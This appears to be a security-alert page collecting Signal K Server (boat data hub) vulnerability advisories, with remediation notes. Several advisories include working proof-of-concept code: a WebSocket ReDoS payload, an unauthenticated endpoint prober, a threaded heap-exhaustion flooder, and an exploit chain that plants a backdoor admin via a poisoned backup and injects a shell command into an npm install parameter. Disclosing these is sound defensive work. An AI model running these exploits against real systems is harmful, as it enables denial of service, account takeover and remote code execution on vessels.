Where
-Infinity
0

Vendor Risk Score

See how signal k compares to other vendors in security performance

View Risk Score →
Severity
4.2
SSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Signal K Server from 2.28.0-beta.2 before 2.34.0 contains a server-side request forgery vulnerability in the App Store icon fetcher that trusts absolute signalk.appIcon URLs. Attackers publishing npm packages with Signal K keywords can make servers request loopback, vessel network, or cloud metadata endpoints, storing image-typed responses served back via the admin UI.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

Description The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., ) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape . and characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

Affected Code Blocks & Files File: signalk-server/src/subscriptionmanager.ts

Affected lines for Context subscriptions (282-300): typescript function contextMatcher(...) { if (subscribeCommand.context) { if (isString(subscribeCommand.context)) { const pattern = subscribeCommand.context .replace(/\./g, '\\.') .replace(/\/g, '.') const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly return (normalizedDeltaData: WithContext) => matcher.test(normalizedDeltaData.context) ||

Affected lines for Path subscriptions (276-280): typescript function pathMatcher(path: string = '') { const pattern = path.replace(/\./g, '\\.').replace(/\/g, '.') const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here return (aPath: string) => matcher.test(aPath) }

Proof of Concept (PoC) Steps

const WebSocket = require('ws'); const http = require('http');

const HOST = 'localhost'; const PORT = 3000; const WSURL = ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none; // Use the API endpoint to measure real server processing lag (requires JSON serialization) const HTTPURL = http://${HOST}:${PORT}/signalk/v1/api/;

console.log([+] Target Server API: ${HTTPURL}); console.log([+] Target WebSocket: ${WSURL});

let requestCount = 0;

// Polling function to check server responsiveness and compute delay function checkServerStatus() { const startTime = Date.now(); requestCount++; const reqId = requestCount; const req = http.get(HTTPURL, (res) => { let size = 0; res.on('data', chunk => { size += chunk.length; }); res.on('end', () => { const latency = Date.now() - startTime; console.log([HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)); }); });

req.on('error', (err) => { console.log([HTTP #${reqId} ERROR] Connection refused/dropped.); });

// Timeout if the event loop is blocked req.setTimeout(2000, () => { console.log([HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.); req.destroy(); }); }

// Start polling every 1 second console.log('[+] Starting baseline HTTP polling...'); const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS setTimeout(() => { console.log(\n[!] Initiating WebSocket connection to launch ReDoS attack...); const ws = new WebSocket(WSURL);

ws.on('open', () => { console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...'); // This regex exploits the unescaped Regex metacharacters in context matcher. // It forms: ^vessels\.([a-z0-9:-]+)+!$ // When evaluated against vessels.urn:mrn:signalk:uuid:xxx (38+ characters), // the nested quantifier ([a-z0-9:-]+)+ will result in 2^38 evaluations // because it fails to find the '!' at the end. This reliably freezes V8. const pocPayload = { context: "vessels.([a-z0-9:-]+)+!", announceNewPaths: true, subscribe: [{ path: "" }] };

ws.send(JSON.stringify(pocPayload)); console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n'); });

ws.on('error', (err) => { console.error([-] WebSocket Error: ${err.message}); });

}, 3500);

// Automatically shut down the test after 15 seconds setTimeout(() => { console.log(\n[+] Test complete. Stopping pollers.); clearInterval(pollInterval); process.exit(0); }, 15000); <img width="1003" height="524" alt="Screenshot 2026-03-29 101918" src="https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039" />

Impact

This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.

<img width="999" height="153" alt="Screenshot 2026-03-29 101820" src="https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0" />

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access. The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the serverevents=all query parameter, the server sends all cached server events including ACCESSREQUEST events that contain details about pending access requests. The startServerEvents function iterates over app.lastServerEvents and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when allowreadonly is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The queryRequest function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

[Note] This is a separate issue from the RCE vulnerability (State Pollution) currently being patched. While related to tokensecurity.js, it involves different endpoints and risks.

Summary An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.

Details The vulnerability stems from the fact that several sensitive API endpoints are not included in the authentication middleware's protection list in src/tokensecurity.js.

Vulnerable Code Analysis: 1. Missing Protection: The tokensecurity.js file defines an array of paths that require authentication. However, the following paths defined in src/serverroutes.ts are missing from this list: - /skServer/serialports - /skServer/availablePaths - /skServer/hasAnalyzer

2. Unrestricted Access: Because they are missing from the protection list, the httpauthorize middleware allows access to these paths even when enableSecurity is set to true.

Exploit Scenario: 1. Reconnaissance: An attacker scans the server for these endpoints. 2. Data Extraction: - Querying /skServer/availablePaths returns the full JSON schema of the vessel's data (e.g., environment.sun.sunrise, navigation.position), allowing the attacker to know exactly what data points are available for targeting. - Querying /skServer/serialports reveals connected hardware (e.g., /dev/ttyUSB0), aiding in physical device targeting.

PoC The following Python script demonstrates the vulnerability by querying the exposed endpoints without any authentication headers.

python import urllib.request import json

BASEURL = "http://localhost:3000"

def checkendpoint(name, path): url = f"{BASEURL}{path}" print(f"[] Checking {name} at {url}...") try: req = urllib.request.Request(url) with urllib.request.urlopen(req) as response: if response.getcode() == 200: print(f"[!] VULNERABLE: {name} is accessible without authentication!") content = response.read().decode('utf-8') print(f" Snippet: {content[:100]}...") else: print(f"[-] Secure: {response.getcode()}") except urllib.error.HTTPError as e: print(f"[-] Secure: {e.code}") except Exception as e: print(f"[-] Error: {e}")

if name == "main": print("--- SignalK Information Disclosure PoC ---") checkendpoint("Serial Ports", "/skServer/serialports") checkendpoint("Available Paths", "/skServer/availablePaths") checkendpoint("Analyzer Check", "/skServer/hasAnalyzer")

Expected Result: The script will output [!] VULNERABLE for all three endpoints, showing snippets of the leaked JSON data.

Impact Verified Information Disclosure: During our verification, we successfully retrieved the following sensitive information without any authentication: 1. Full Data Schema: The /skServer/availablePaths endpoint returned the complete JSON schema of the vessel's data. Example: environment.sun.sunrise, navigation.position Leakage of Internal State: We also observed entries like notifications.security.accessRequest.readwrite.attacker-device-32, which revealed the presence and IDs of pending access requests (traces of our DoS attack), showing that internal server state is exposed. 2. Hardware Configuration: The /skServer/serialports endpoint exposed the list of connected serial devices. 3. System Capabilities: The /skServer/hasAnalyzer endpoint revealed whether traffic analysis tools were installed.

This information allows an attacker to map the system's internal state and capabilities, significantly facilitating further targeted attacks (Reconnaissance).

--- Remediation Update src/tokensecurity.js Add the missing paths to the list of protected routes in src/tokensecurity.js.

javascript // src/tokensecurity.js

// ... existing protected paths ... ;[ '/apps', '/appstore', '/plugins', '/restart', '/runDiscovery', '/security', '/vessel', '/providers', '/settings', '/webapps', '/skServer/inputTest', // ADD THESE LINES: '/skServer/serialports', '/skServer/availablePaths', '/skServer/hasAnalyzer' ].forEach((p) => app.use(${SERVERROUTESPREFIX}${p}, httpauthorize(false)) )

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.

Details The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.

Vulnerable Code Analysis: 1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object: javascript const requests = {} 2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests. 3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). 4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).

Exploit Scenario: 1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests. 2. The server stores every request in the requests object in the Node.js heap. 3. The heap memory usage spikes rapidly. 4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.

PoC The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.

python import urllib.request import json import threading import time

Target Configuration TARGETURL = "http://localhost:3000/signalk/v1/access/requests" PAYLOADSIZEMB = 0.1 # 100 KB per request NUMREQUESTS = 20000 # Sufficient to exhaust heap CONCURRENCY = 50

Generate a large string payload LARGESTRING = "A" (int(PAYLOADSIZEMB 1024 1024))

def sendheavyrequest(i): try: payload = { "clientId": f"attacker-device-{i}", "description": LARGESTRING, # Stored in memory! "permissions": "readwrite" } data = json.dumps(payload).encode('utf-8') req = urllib.request.Request( TARGETURL, data=data, headers={'Content-Type': 'application/json'}, method='POST' ) # Short timeout as server might hang urllib.request.urlopen(req, timeout=5) except: pass

def attack(): print(f"[] Starting DoS Attack on {TARGETURL}...") threads = [] for i in range(NUMREQUESTS): t = threading.Thread(target=sendheavyrequest, args=(i,)) threads.append(t) t.start() if len(threads) >= CONCURRENCY: for t in threads: t.join() threads = []

if name == "main": attack()

Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.

Impact Verified Denial of Service: During our verification using the provided PoC, we observed the following: 1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack. 2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash. 3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.

--- Remediation 1. Implement Rate Limiting Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.

2. Limit Request Storage Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.

3. Validate Payload Size Enforce strict limits on the size of the description and other fields in the access request payload.

1 / 2
Source: GitHub
First published (updated )
Severity
9.7
OS Command Injection, Command Injection
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).

Details The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.

Vulnerable Code Analysis: 1. Global State: restoreFilePath is defined at the top level of the module. typescript // src/serverroutes.ts let restoreFilePath: string 2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it. typescript app.post(${SERVERROUTESPREFIX}/validateBackup, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) 3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration. typescript app.post(${SERVERROUTESPREFIX}/restore, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... })

Exploit Chain: 1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file. 2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. Backdoor: The attacker overwrites security.json to add a new administrator account. 4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).

PoC Here is a complete Python script to reproduce the full exploit chain.

python import requests import zipfile import io import json import time

Configuration TARGETURL = "http://localhost:3000" BACKDOORUSER = "hacker" BACKDOORPASS = "hacked1234"

def step1plantbackdoor(): print("[] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w') as z: # Add backdoor admin user securityconfig = { "users": [{ "username": BACKDOORUSER, "password": BACKDOORPASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(securityconfig)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zipbuffer.seek(0)

# 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGETURL}/skServer/validateBackup", files={'file': ('malicious.zip', zipbuffer, 'application/zip')}) if res.statuscode != 200: print(" [-] Failed to pollute state.") return False

# 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGETURL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.statuscode in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.statuscode} {res.text}") return False

def step2executerce(): print("\n[] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() loginpayload = {"username": BACKDOORUSER, "password": BACKDOORPASS} res = session.post(f"{TARGETURL}/signalk/v1/auth/login", json=loginpayload) if res.statuscode != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.")

# 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCESUCCESS > rceproof.txt cmdpayload = "1.0.0 & echo RCESUCCESS > rceproof.txt &" # We need a valid package name to bypass existence check packagename = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmdpayload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGETURL}/skServer/appstore/install/{packagename}/{cmdpayload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time

print(" [+] Payload sent. Check for 'rceproof.txt' in server root.")

if name == "main": # Run Step 1, then restart server manually, then Run Step 2 # step1plantbackdoor() step2executerce()

Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. Verified: RCE is demonstrated by creating a file named rceproof.txt containing the text "RCESUCCESS" on the server filesystem using the exploit chain.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203